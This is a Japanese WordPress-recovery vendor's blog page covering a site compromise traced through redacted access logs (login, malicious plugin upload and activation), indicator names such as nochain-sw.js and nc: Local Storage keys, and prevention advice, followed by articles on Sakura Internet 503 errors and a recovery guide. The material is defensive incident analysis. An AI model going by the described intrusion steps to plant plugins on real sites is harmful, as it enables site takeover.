セキュリティプラグインが無意味という話ではありません。入口の対策としては有効です。ただし「異常なし」と表示されたからといって、改ざんが残っていない証明にはなりません。

特に nochain-sw.js、nochain/sw.js、nc\_skip、nc: で始まるLocal Storageキーが出ている場合は、ファイルだけでなくログとブラウザ側の確認も必要です。

## 侵入手口・ログで分かったこと

アクセスログでは、ある日時にWordPress管理画面へ入られたように見える流れがありました。
※公開用に、日付、時刻、IPアドレス、設置ディレクトリ、プラグイン名は伏せています。

```
2026/05/18 02:14:11
xxx.xxx.xxx.xxx POST /wp-login.php
Status: 302

2026/05/18 02:14:13
xxx.xxx.xxx.xxx GET /wp-admin/
Status: 200

2026/05/18 02:14:28
xxx.xxx.xxx.xxx POST /wp-admin/update.php?action=upload-plugin
Status: 200

2026/05/18 02:14:35
xxx.xxx.xxx.xxx GET /wp-admin/plugins.php?action=activate&plugin=wp-xxxxxxxxxxxxxxxx/wp-xxxxxxxxxxxxxxxx.php
Status: 302
```

ログイン後に管理画面へ入り、プラグインをアップロードし、有効化したように見えます。単に外部からファイルを置かれたというより、WordPressの認証を突破された、または管理者セッションを使われた可能性があります。

１秒でログイン画面から管理画面へ画面推移して、ファイルをアップロードしています。

疑うべき原因は、パスワードの使い回し、ブラウザ保存パスワードやCookieの流出、管理者PCの感染、サーバーパネルやFTP/SFTP情報の流出などの可能性が高いです。
プラグインの脆弱性を突かれた侵入手口とは違います。

## 海外でも似た事例がありました

この改ざんは、国内のサイトだけの話ではない可能性があります。むしろ外国が多いと思われます。

海外でも、`nochain-sw.js` に似た不審なJavaScriptの報告が見つかっています。また、いくつかの海外サイトでは、今回の事例と似たブラウザ保存データの名前がCookieポリシー内に掲載されていました。

断定はできませんが、似た痕跡が複数サイトに出ているため、広い範囲で使われたWordPress改ざん手口である可能性があります。

参考URL

- 
    【URL安全性評価ページ】英国の通販サイトに対する評価ページで、ユーザー投稿欄に nochain-sw.js や不審なJavaScriptについての報告があります。
- 
    【Cookieポリシーページ】スペイン語のCookieポリシーで、nc: で始まるLocal Storageキーや nc\_skip が掲載されています。
- 
    【Cookieポリシーページ】イタリア語のCookieポリシーで、今回確認したものと同じ形式のLocal Storageキーと nc\_skip が記録されています。
- 
    【プライバシーポリシーページ】英国サイトのプライバシーポリシーで、検索結果上では同様の nc: 形式のLocal Storageキーが掲載されていたことを確認できます。

## 感染しないための対策

- WordPress管理者に2段階認証を入れる
- 管理者パスワードを使い回さない
- 不要な管理者ユーザーを削除する
- 使っていないテーマ・プラグインを削除する
- プラグインアップロード権限を持つ人を絞る
- FTP/SFTP、サーバーパネル、DBのパスワードも見直す
- 管理者PCの保存パスワードとブラウザ拡張機能を確認する

今回のような改ざんでは、サーバー側だけ見ても足りません。

## よくある質問

### セキュリティプラグインで異常なしなら安全ですか？

安全とは限りません。外部コード、Service Worker、管理者回避を使う改ざんは、通常のスキャンだけでは見つからないことがあります。

### 自己対応できますか？

軽い改ざんなら可能な場合もあります。ただし、認証突破やService Workerが絡む場合は、ファイル、DB、ログ、ブラウザ側まで確認が必要です。

### ファイルを消せば終わりますか？

終わらないことがあります。侵入経路、管理者アカウント、バックドア、Service Workerが残っていると再発します。

## 相談したほうがいいサイン

- セキュリティプラグインでは異常なしなのに表示がおかしい
- 管理者では再現しないが、訪問者から不審な表示を指摘された
- Google警告、広告不承認、検索結果の改ざんが出ている
- 復旧したはずなのに、また改ざんされる

「異常なし」と表示されても、違和感が残るなら確認したほうがいいです。WordPressの改ざんは、静かに残っていることがあります。

[無料で相談する最短30分で回答（メール）](https://wp-r.com/wp-sodan/)[LINEで相談する](https://page.line.me/njx0905k?openQrModal=true)[電話で相談する050-7114-9201](tel:050-7114-9201)

```
```

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 本サービスの責任者：CreativeStudio樂・前田美知太郎

WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

**カテゴリー:** ワードプレスに感染したマルウェアの例

---

### [お客様の声｜WordPressのマルウェア感染・改ざん・乗っ取り復旧](https://wp-r.com/wp-review/wordpress-repair-testimonials/)

**Published:** 4月 18, 2017
**Author:** ワードプレスレスキュー

**Excerpt:** 【お客様の声】WordPressのマルウェア感染、改ざん、乗っ取り、不正リダイレクトなどの復旧をご依頼いただいたお客様から寄せられた口コミ・評価をご紹介します。

**Content:**

WordPressのマルウェア感染やサイト改ざん、乗っ取り、不正リダイレクト、403エラーなどの復旧をご依頼いただいたお客様から寄せられた口コミ・評価をご紹介します。

突然サイトが表示されなくなった、見覚えのないサイトへ転送される、管理画面に入れないなど、WordPressのトラブルは症状や原因が案件ごとに異なります。

実際にご依頼いただいたお客様の声から、対応の速さや説明の分かりやすさ、復旧後の状況などをご確認いただけます。WordPressの復旧業者を検討されている方は、判断材料の一つとしてご覧ください。

- お客様の平均評価    5

お客様の声投稿は[こちら](#respond)からお願いします。

**カテゴリー:** お客様の声

---

### [さくらインターネットで503エラーが出る3つの原因と対処法](https://wp-r.com/wp-tips/sakura-waf-503-error/)

**Published:** 9月 17, 2025
**Author:** ワードプレスレスキュー

**Excerpt:** さくらインターネットで503エラーやサーバー接続エラーが発生する原因を解説。マルウェアによる制限、WAF、アクセス過多・リソース制限の判別方法と解決手順を、実際の対応事例をもとに紹介します。

**Content:**

さくらインターネットで503エラーが発生する原因は、WAFだけではありません。主に「マルウェアや不正ファイルによる制限」「WAFによる遮断」「アクセス過多やサーバー負荷」の3つに分けられます。

原因判別条件注意点マルウェア・不正ファイルによる制限さくらインターネットから、件名「【重要】サーバ上に設置されているファイルについて」のメールが届き、「該当ドメインへのアクセスを503を返す制限」と記載されている不正ファイルの削除だけでは不十分。侵入経路、バックドア、別階層のWordPressまで調査してから制限解除を依頼する。WAFによる遮断さくらインターネットから不正ファイルの通知がなく、WAFを一時停止すると正常表示へ戻る。検知ログに記録が残らない場合もあるWAFの停止を恒久対応にしない。遮断された通信や対象処理を確認するアクセス過多・リソース制限アクセス集中時だけ503が発生する。PHPプロセス数やCPU負荷、転送量が増加している通常の閲覧増加だけでなく、ボットや攻撃アクセスも確認するコンテンツ

[Toggle](#)

- [マルウェア・不正ファイルの検出による503制限](#%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%83%BB%E4%B8%8D%E6%AD%A3%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E6%A4%9C%E5%87%BA%E3%81%AB%E3%82%88%E3%82%8B503%E5%88%B6%E9%99%90)
    - [マルウェアによる503制限の判別方法](#%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AB%E3%82%88%E3%82%8B503%E5%88%B6%E9%99%90%E3%81%AE%E5%88%A4%E5%88%A5%E6%96%B9%E6%B3%95)
    - [マルウェアによる503制限の解決方法](#%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%AB%E3%82%88%E3%82%8B503%E5%88%B6%E9%99%90%E3%81%AE%E8%A7%A3%E6%B1%BA%E6%96%B9%E6%B3%95)
    - [さくらインターネットの503制限でお困りの方へ](#%E3%81%95%E3%81%8F%E3%82%89%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%8D%E3%83%83%E3%83%88%E3%81%AE503%E5%88%B6%E9%99%90%E3%81%A7%E3%81%8A%E5%9B%B0%E3%82%8A%E3%81%AE%E6%96%B9%E3%81%B8)
- [WAFによる503エラー](#WAF%E3%81%AB%E3%82%88%E3%82%8B503%E3%82%A8%E3%83%A9%E3%83%BC)
    - [WAFによる503・サーバー接続エラー事例](#WAF%E3%81%AB%E3%82%88%E3%82%8B503%E3%83%BB%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E6%8E%A5%E7%B6%9A%E3%82%A8%E3%83%A9%E3%83%BC%E4%BA%8B%E4%BE%8B)
    - [WAFによる503エラーの判別方法](#WAF%E3%81%AB%E3%82%88%E3%82%8B503%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E5%88%A4%E5%88%A5%E6%96%B9%E6%B3%95)
        - [WAFの停止とログの確認場所](#WAF%E3%81%AE%E5%81%9C%E6%AD%A2%E3%81%A8%E3%83%AD%E3%82%B0%E3%81%AE%E7%A2%BA%E8%AA%8D%E5%A0%B4%E6%89%80)
    - [WAFによる503エラーの解決方法](#WAF%E3%81%AB%E3%82%88%E3%82%8B503%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AE%E8%A7%A3%E6%B1%BA%E6%96%B9%E6%B3%95)
- [アクセス過多・サーバー負荷による503エラー](#%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E9%81%8E%E5%A4%9A%E3%83%BB%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E8%B2%A0%E8%8D%B7%E3%81%AB%E3%82%88%E3%82%8B503%E3%82%A8%E3%83%A9%E3%83%BC)
    - [アクセス過多・リソース制限の判別方法](#%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E9%81%8E%E5%A4%9A%E3%83%BB%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E5%88%B6%E9%99%90%E3%81%AE%E5%88%A4%E5%88%A5%E6%96%B9%E6%B3%95)
    - [アクセス過多・リソース制限の解決方法](#%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E9%81%8E%E5%A4%9A%E3%83%BB%E3%83%AA%E3%82%BD%E3%83%BC%E3%82%B9%E5%88%B6%E9%99%90%E3%81%AE%E8%A7%A3%E6%B1%BA%E6%96%B9%E6%B3%95)
- [さくらインターネットの503エラーは原因の切り分けが重要](#%E3%81%95%E3%81%8F%E3%82%89%E3%82%A4%E3%83%B3%E3%82%BF%E3%83%BC%E3%83%8D%E3%83%83%E3%83%88%E3%81%AE503%E3%82%A8%E3%83%A9%E3%83%BC%E3%81%AF%E5%8E%9F%E5%9B%A0%E3%81%AE%E5%88%87%E3%82%8A%E5%88%86%E3%81%91%E3%81%8C%E9%87%8D%E8%A6%81)

## マルウェア・不正ファイルの検出による503制限

さくらインターネットがサーバー内のマルウェアや不正ファイルを検出した場合、被害拡大を防ぐため、該当ドメインへのアクセスに503エラーを返す制限が実施されることがあります。

この場合、さくらインターネットから「【重要】サーバ上に設置されているファイルについて」という件名のメールが届き、本文に「該当ドメインへのアクセスを503を返す制限」と記載されます。

WAFやアクセス過多による一時的な503エラーとは異なり、不正ファイルを除去し、サイト全体の安全性を確認したうえで、制限解除を依頼する必要があります。

### マルウェアによる503制限の判別方法

まず、さくらインターネットから届いたメールを確認します。件名が「【重要】サーバ上に設置されているファイルについて」で、本文に「該当ドメインへのアクセスを503を返す制限」と記載されている場合は、マルウェアや不正ファイルの検出による制限と判断できます。

この場合は、WAFの停止やアクセス数の確認を先に行うのではなく、メールに記載された対象ファイルやドメインを確認します。

### マルウェアによる503制限の解決方法

メールに記載された不正ファイルだけを削除しても、別の場所にバックドアや改ざんファイルが残っていると再発します。対象のWordPressだけでなく、同じサーバー内にある別のWordPress、放置サイト、バックアップ、テスト環境まで確認します。

マルウェアの除去、改ざん箇所の復旧、侵入経路の調査、脆弱なプラグインやテーマの更新を行い、再感染の可能性がないことを確認します。その後、さくらインターネットへ対応内容を返信し、503制限の解除を依頼します。

### さくらインターネットの503制限でお困りの方へ

不正ファイルを削除するだけでは、バックドアや侵入経路が残り、再感染することがあります。ワードプレスレスキューでは、マルウェア除去、改ざん復旧、侵入経路の調査、再発防止まで対応します。

[無料で相談する最短30分で回答（メール）](https://wp-r.com/wp-rescue-lp/#contact)[LINEで相談する](https://page.line.me/njx0905k?openQrModal=true)[電話で相談する050-7114-9201](tel:050-7114-9201)

## WAFによる503エラー

WAFは、Webサイトへの不正な通信や攻撃を検知し、遮断する機能です。ただし、正常な管理画面操作やプラグインの通信でも、攻撃と誤判定されて503エラーが表示されることがあります。

マルウェアによる制限とは異なり、さくらインターネットから不正ファイルに関する通知メールが届いていない場合は、WAFの誤検知も確認します。

### WAFによる503・サーバー接続エラー事例

さくらインターネットのWAFが原因で、503エラーやサーバー接続エラーが発生することがあります。今回の事例では、「hostname lookup: Name or service not known」と表示され、DNSの名前解決エラーのように見えました。

しかし、複数のDNSサーバーで確認しても名前解決は正常で、SSL証明書や443番ポートにも異常はありませんでした。サイト全体で503エラーが多発するなか、WAFを停止すると即座に正常な状態へ戻りました。

なお、WAFの検知ログには記録が残っていませんでした。検知ログに何も表示されていなくても、WAFが原因となっている場合があります。

```
CONNECT(****:80)/hostname lookup: Name or service not known
The requested URL: http://****
The server refuse to browse the page.
The URL or other input may not be correct. Please confirm the value.
ERROR: CONNECT(****:80)/hostname lookup: Name or service not known

```

### WAFによる503エラーの判別方法

さくらインターネットから不正ファイルの通知がなく、DNS、SSL証明書、443番ポートにも異常がない場合は、WAFを確認します。

コントロールパネルでWAFを一時停止し、503エラーや接続エラーが解消すれば、WAFが原因である可能性が高いと判断できます。

今回の事例では、WAFの検知ログに記録がない状態でも、停止すると正常表示へ戻りました。ログが空でも、WAFを原因から除外しないことが重要です。

#### WAFの停止とログの確認場所

[サーバーコントロールパネル](https://secure.sakura.ad.jp/rs/cp/ "サーバーコントロールパネル")>セキュリティ>WAF設定ドメイン

[サーバーコントロールパネル](https://secure.sakura.ad.jp/rs/cp/)>セキュリティ>WAF検出ログ

### WAFによる503エラーの解決方法

WAFを停止して正常表示に戻った場合は、まず対象URLや直前に行った操作を確認します。特定の管理画面操作やプラグイン処理で再発する場合は、その通信がWAFに遮断されている可能性があります。

WAFを常時停止したままにせず、必要な作業だけを行った後に再度有効化します。再有効化すると503エラーが再発する場合は、さくらインターネットへ発生日時、対象URL、エラー内容を伝えて確認を依頼します。

![さくらのレンタルサーバのWAF設定ドメイン画面](https://wp-r.com/wp-content/uploads/2025/09/sakura-waf.png)## アクセス過多・サーバー負荷による503エラー

アクセス集中やPHP・CGIの高負荷によって、サーバーが処理しきれなくなると503エラーが発生します。通常のアクセス増加だけでなく、ボットの大量巡回、重いプラグイン、PHPやCGIの異常動作が原因になる場合もあります。

### アクセス過多・リソース制限の判別方法

さくらインターネットでは、コントロールパネルの「リソース」から、HTTP 503エラーの発生回数、CPU使用時間、転送量などを確認できます。

### アクセス過多・リソース制限の解決方法

![さくらのレンタルサーバのリソース画面と503エラー発生回数](https://wp-r.com/wp-content/uploads/2025/09/sakura-503.png)緊急時は、コントロールパネルの**「503を緩和する（リソースブースト）」**を利用し、同時接続数の上限を一時的に緩和します。

ただし、リソースブーストは恒久的な解決ではありません。アクセスログを確認し、ボットや攻撃アクセスの遮断、キャッシュの導入、重いプラグインやPHP処理の見直しを行います。

通常アクセスでも繰り返し制限される場合は、上位プランや別サーバーへの移行も検討します。

## さくらインターネットの503エラーは原因の切り分けが重要

503エラーが発生した場合は、まず、さくらインターネットから不正ファイルに関する通知が届いていないか確認します。通知がなければWAFを一時停止し、それでも改善しない場合は、リソース制限やエラー発生回数を確認します。

原因によって対処方法が異なるため、WAFの停止やリソースブーストだけで済ませず、「マルウェア」「WAF」「アクセス過多」の順に切り分けることが重要です。

[無料で相談する最短30分で回答（メール）](https://wp-r.com/wp-rescue-lp/#contact)[LINEで相談する](https://page.line.me/njx0905k?openQrModal=true)[電話で相談する050-7114-9201](tel:050-7114-9201)

---

 ![WordPressセキュリティエンジニア 前田美知太郎](https://wp-r.com/wp-content/uploads/2026/08/WordPressSecurityEngineer.jpg)
 本サービスの責任者：CreativeStudio樂・前田美知太郎

WordPressは2007年から実務で扱い始め、当時はMovable Typeが主流の中で運用・構築の経験を積む。インターネットプロバイダーのインフラエンジニア出身。サーバー・ネットワーク・セキュリティの基礎を現場で習得し、警察へのログ提出やログ整合性の確認など証跡管理の実務経験を有する。

WordPress構築・サーバー設計・マルウェア復旧・セキュリティ対策を中心に実務に従事。現在はAWS・各種VPS環境でのインフラ構築、CloudflareによるCDN・WAF運用、ログ解析や攻撃分析を含む実践的なセキュリティ対応を行っている。

WordPressの障害復旧は1,400件以上の対応実績。守秘義務契約（NDA）により詳細は公開不可だが、公的機関・教育機関・金融系・観光関連・放送関連のサーバーおよびセキュリティ設計・構築に従事。

個人から上場企業、大学・教育機関、IOC参加団体、制作会社など幅広い領域の改ざん・マルウェア感染復旧に対応。初動対応から復旧までを担当。

近年は悪意あるBOTの挙動データの収集・分析を行い、検知・対策への活用にも取り組む。独立行政法人情報処理推進機構（IPA）セキュリティプレゼンター、デジタル庁デジタル推進委員としても活動。[詳しいプロフィール・会社概要はこちら](https://wp-r.com/company-profile/) / [WordPress.org公開開発者プロフィールはこちら](https://profiles.wordpress.org/csgaku/profile/)

**カテゴリー:** ワードプレスTIPS

---

### [【2026年最新】WordPressマルウェアの対応、乗っ取り復旧方法と手順の完全ガイド｜プロが教える](https://wp-r.com/wp-achieve/wordpress-hack-recovery-guide/)

**Published:** 4月 30, 2026
**Author:** ワードプレスレスキュー

**Excerpt:** WordPressが乗っ取られたときの正しい復旧方法とは？表面上は正常でも残るバックドアやマルウェアを前提に、実務レベルの対応手順を解説します。

**Content:**

コンテンツ

[Toggle](#)

- [WordPressが乗っ取られた・転送される・書き換えられた場合の専門業者の初期対応](#WordPress%E3%81%8C%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%89%E3%82%8C%E3%81%9F%E3%83%BB%E8%BB%A2%E9%80%81%E3%81%95%E3%82%8C%E3%82%8B%E3%83%BB%E6%9B%B8%E3%81%8D%E6%8F%9B%E3%81%88%E3%82%89%E3%82%8C%E3%81%9F%E5%A0%B4%E5%90%88%E3%81%AE%E5%B0%82%E9%96%80%E6%A5%AD%E8%80%85%E3%81%AE%E5%88%9D%E6%9C%9F%E5%AF%BE%E5%BF%9C)
- [WordPress復旧概論 ](#WordPress%E5%BE%A9%E6%97%A7%E6%A6%82%E8%AB%96%E3%80%80)
- [WordPress乗っ取り復旧の全体フロー](#WordPress%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E5%BE%A9%E6%97%A7%E3%81%AE%E5%85%A8%E4%BD%93%E3%83%95%E3%83%AD%E3%83%BC)
- [WordPress乗っ取り復旧の初動対応](#WordPress%E4%B9%97%E3%81%A3%E5%8F%96%E3%82%8A%E5%BE%A9%E6%97%A7%E3%81%AE%E5%88%9D%E5%8B%95%E5%AF%BE%E5%BF%9C)
- [一旦アクセスを遮断します。](#%E4%B8%80%E6%97%A6%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E3%82%92%E9%81%AE%E6%96%AD%E3%81%97%E3%81%BE%E3%81%99%E3%80%82)
- [メンテナンスモードでは不十分](#%E3%83%A1%E3%83%B3%E3%83%86%E3%83%8A%E3%83%B3%E3%82%B9%E3%83%A2%E3%83%BC%E3%83%89%E3%81%A7%E3%81%AF%E4%B8%8D%E5%8D%81%E5%88%86)
- [バックアップからデータを戻す](#%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97%E3%81%8B%E3%82%89%E3%83%87%E3%83%BC%E3%82%BF%E3%82%92%E6%88%BB%E3%81%99)
- [サーバー会社のバックアップ機能について](#%E3%82%B5%E3%83%BC%E3%83%90%E3%83%BC%E4%BC%9A%E7%A4%BE%E3%81%AE%E3%83%90%E3%83%83%E3%82%AF%E3%82%A2%E3%83%83%E3%83%97%E6%A9%9F%E8%83%BD%E3%81%AB%E3%81%A4%E3%81%84%E3%81%A6)
- [【デバッグポイント】マルウェア感染チェックリスト](#%E3%80%90%E3%83%87%E3%83%90%E3%83%83%E3%82%B0%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88%E3%80%91%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E6%84%9F%E6%9F%93%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF%E3%83%AA%E3%82%B9%E3%83%88)
- [転送は人を見て出し分けるマルウェアがある](#%E8%BB%A2%E9%80%81%E3%81%AF%E4%BA%BA%E3%82%92%E8%A6%8B%E3%81%A6%E5%87%BA%E3%81%97%E5%88%86%E3%81%91%E3%82%8B%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E3%81%8C%E3%81%82%E3%82%8B)
- [マルウェア感染を強く疑うチェック](#%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E6%84%9F%E6%9F%93%E3%82%92%E5%BC%B7%E3%81%8F%E7%96%91%E3%81%86%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF)
- [5・Search Console で確認する](#5%E3%83%BBSearch_Console_%E3%81%A7%E7%A2%BA%E8%AA%8D%E3%81%99%E3%82%8B)
- [サイトを閉鎖したのに転送される、おかしな挙動をする？](#%E3%82%B5%E3%82%A4%E3%83%88%E3%82%92%E9%96%89%E9%8E%96%E3%81%97%E3%81%9F%E3%81%AE%E3%81%AB%E8%BB%A2%E9%80%81%E3%81%95%E3%82%8C%E3%82%8B%E3%80%81%E3%81%8A%E3%81%8B%E3%81%97%E3%81%AA%E6%8C%99%E5%8B%95%E3%82%92%E3%81%99%E3%82%8B%EF%BC%9F)
- [ファイルの入替え](#%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E5%85%A5%E6%9B%BF%E3%81%88)
- [wp-config.phpのチェック](#wp-configphp%E3%81%AE%E3%83%81%E3%82%A7%E3%83%83%E3%82%AF)
- [デバッグログをONにする](#%E3%83%87%E3%83%90%E3%83%83%E3%82%B0%E3%83%AD%E3%82%B0%E3%82%92ON%E3%81%AB%E3%81%99%E3%82%8B)
- [コアファイルの入替え手順](#%E3%82%B3%E3%82%A2%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E5%85%A5%E6%9B%BF%E3%81%88%E6%89%8B%E9%A0%86)
- [ワードプレスコアのファイルを準備](#%E3%83%AF%E3%83%BC%E3%83%89%E3%83%97%E3%83%AC%E3%82%B9%E3%82%B3%E3%82%A2%E3%81%AE%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%82%92%E6%BA%96%E5%82%99)
- [コアファイルのアップロード](#%E3%82%B3%E3%82%A2%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E3%81%AE%E3%82%A2%E3%83%83%E3%83%97%E3%83%AD%E3%83%BC%E3%83%89)
- [wp-contentの復旧](#wp-content%E3%81%AE%E5%BE%A9%E6%97%A7)
- [アクセス権 444 / 555 の確認](#%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E6%A8%A9_444_555_%E3%81%AE%E7%A2%BA%E8%AA%8D)
- [「upgrade/upgrade-temp-backup」フォルダを削除](#%E3%80%8Cupgradeupgrade-temp-backup%E3%80%8D%E3%83%95%E3%82%A9%E3%83%AB%E3%83%80%E3%82%92%E5%89%8A%E9%99%A4)
- [ここで一旦アクセスを解放します。](#%E3%81%93%E3%81%93%E3%81%A7%E4%B8%80%E6%97%A6%E3%82%A2%E3%82%AF%E3%82%BB%E3%82%B9%E3%82%92%E8%A7%A3%E6%94%BE%E3%81%97%E3%81%BE%E3%81%99%E3%80%82)
- [languagesディレクトリの中身をクリア](#languages%E3%83%87%E3%82%A3%E3%83%AC%E3%82%AF%E3%83%88%E3%83%AA%E3%81%AE%E4%B8%AD%E8%BA%AB%E3%82%92%E3%82%AF%E3%83%AA%E3%82%A2)
- [ここでデバッグポイント](#%E3%81%93%E3%81%93%E3%81%A7%E3%83%87%E3%83%90%E3%83%83%E3%82%B0%E3%83%9D%E3%82%A4%E3%83%B3%E3%83%88)
- [プラグインを入れ替える](#%E3%83%97%E3%83%A9%E3%82%B0%E3%82%A4%E3%83%B3%E3%82%92%E5%85%A5%E3%82%8C%E6%9B%BF%E3%81%88%E3%82%8B)
- [データベース（DB）とUploadsフォルダの検査](#%E3%83%87%E3%83%BC%E3%82%BF%E3%83%99%E3%83%BC%E3%82%B9%EF%BC%88DB%EF%BC%89%E3%81%A8Uploads%E3%83%95%E3%82%A9%E3%83%AB%E3%83%80%E3%81%AE%E6%A4%9C%E6%9F%BB)
- [Wordfence Securityの導入](#Wordfence_Security%E3%81%AE%E5%B0%8E%E5%85%A5)
- [Wordfenceによるマルウェア対策のワードプレスレスキューの推奨設定](#Wordfence%E3%81%AB%E3%82%88%E3%82%8B%E3%83%9E%E3%83%AB%E3%82%A6%E3%82%A7%E3%82%A2%E5%AF%BE%E7%AD%96%E3%81%AE%E3%83%AF%E3%83%BC%E3%83%89%E3%83%97%E3%83%AC%E3%82%B9%E3%83%AC%E3%82%B9%E3%82%AD%E3%83%A5%E3%83%BC%E3%81%AE%E6%8E%A8%E5%A5%A8%E8%A8%AD%E5%AE%9A)
- [まとめ・復旧は「作業」ではなく「判断」です。](#%E3%81%BE%E3%81%A8%E3%82%81%E3%83%BB%E5%BE%A9%E6%97%A7%E3%81%AF%E3%80%8C%E4%BD%9C%E6%A5%AD%E3%80%8D%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%8F%E3%80%8C%E5%88%A4%E6%96%AD%E3%80%8D%E3%81%A7%E3%81%99%E3%80%82)

## WordPressが乗っ取られた・転送される・書き換えられた場合の専門業者の初期対応

### 専門家が推奨する初期対応

- サイトへのアクセスを一時的に止める。XSERVERなどでは、緊急対応として public\_html を \_public\_html にリネームする方法もあります.
- .htaccess で一時的にアクセスを遮断する。
- メンテナンスモードでは不十分なので要注意。
- .htaccess や WordPress ファイルが書き換えられている場合は、専門業者への相談を検討する。
- ワードクレスのマルウェアや乗取りのトラブルは、セキュリティーに強い業者を検討
- サーバー会社、保守担当者へ連絡する。
- .htaccess が書き換わっていない場合は、自力でWordPress復旧を進められる可能性があります。
    ※自社のサイトにアクセスして書き換わらない場合です。通常はアクセスがあると書き換わる場合が多いです。これは、WPの起動順番上の話になります。

## WordPress復旧概論 

バックアップが利用できることを前提に、WordPressのマルウェア感染や乗っ取り被害から復旧する具体的な方法と手順を解説します。
AIで手順を調べることはできますが、実際の復旧には最低限の基礎知識と道具が必要です。本記事では、実務の観点から、WordPressのマルウェア感染・乗っ取り被害の復旧手順を解説していきます。

WordPressの復旧では、ファイルをクリーンに入れ替えても、コア・プラグイン・テーマ・PHPの互換性によって問題が発生することがあります。特に古いサイトでは影響が出やすく、最新版への更新が望ましいものの、状況によっては段階的な対応が必要です。
また、感染状況やサーバー環境によって手順は変わるため、乗っ取り復旧は一律ではなく、状況に応じて進める必要があります。

### 記事の対象者

この記事は、バックアップが利用できることを前提に、WordPressのマルウェア感染・乗っ取り被害を復旧したい方向けに書いています。具体的には次の方になります。

- WordPressの基本構成を理解している方
- FTP/SFTPソフトでファイル操作ができる方
- バックアップの復元やファイルの退避・入れ替えができる方

**バックアップがない方、停止リスクの大きいサイトを運営している方は、自力対応ではなく専門業者への依頼を検討してください。**

### SSHを利用可能なサーバーや、使用技術がある人

SSHが使える場合は、不審なPHPプロセスが動いていないか確認してください。

FTPでは実行中のプロセスは確認できません。
当方の復旧対応では、XSERVERのようにSSH／Bashが使える環境で、感染PHPがバックグラウンド実行されているケースを実際に確認しています。

不審なPHPプロセスの確認・[弊社参考記事](https://wp-r.com/wp-achieve/malware-recovery-quick/)

### SSHを利用不可サーバーや、使用技術が無い人

レンタルサーバーのサポートに連絡をして、おかしなプロセスが動いていないか、確認をしてもらって、動いていたらプロセスの実行を止めてもらってください。

### 自力での復旧をおすすめしない人

FTP/SFTPの操作経験がない方、バックアップがない方、また、FTP/SFTPの操作経験があってもサーバーやWordPressの基本構成がわからない方、ECサイト・会員サイト・予約サイトなど停止や誤操作の影響が大きいサイトを運営している方には、自力での復旧をおすすめしません。初心者は非推奨です。データを壊すリスクが高いです。

### 復旧のスピードを重視する方

早期復旧を優先したい場合は、専門業者への依頼を検討してください。本記事の内容を理解しておくことで、復旧業者とのやり取りがスムーズになり、無駄な調査時間やコストを減らせる可能性があります。

## WordPress乗っ取り復旧の全体フロー

本記事の復旧は、次の流れで進めます。

1. **パスワードの変更**
    サーバー・FTP/SFTP・WordPressの認証情報を先に変更し、被害の拡大を防ぐ
2. **アクセス遮断（503）**
    .htaccessで自分以外のアクセスを遮断し、攻撃を一時停止させる
3. **バックアップからデータを戻す**
    可能な限り過去の状態へ戻すが、「治ったように見える前提」で進める
4. **感染状況のチェック**
    転送・管理画面・ファイル状態などから、感染の残存を確認する
5. **WordPressコアの入替え**
    上書きではなく、ディレクトリ単位でクリーンな状態へ入れ替える
6. **wp-contentの復旧**
    プラグイン・languages・権限などを整理し、不正ファイルを排除する
7. **DB・uploadsの確認**
    データベースとアップロード領域に残る不正要素をチェックする
8. **Wordfenceで最終確認**
    スキャンで取りこぼしや残留マルウェアを確認する

## WordPress乗っ取り復旧の初動対応

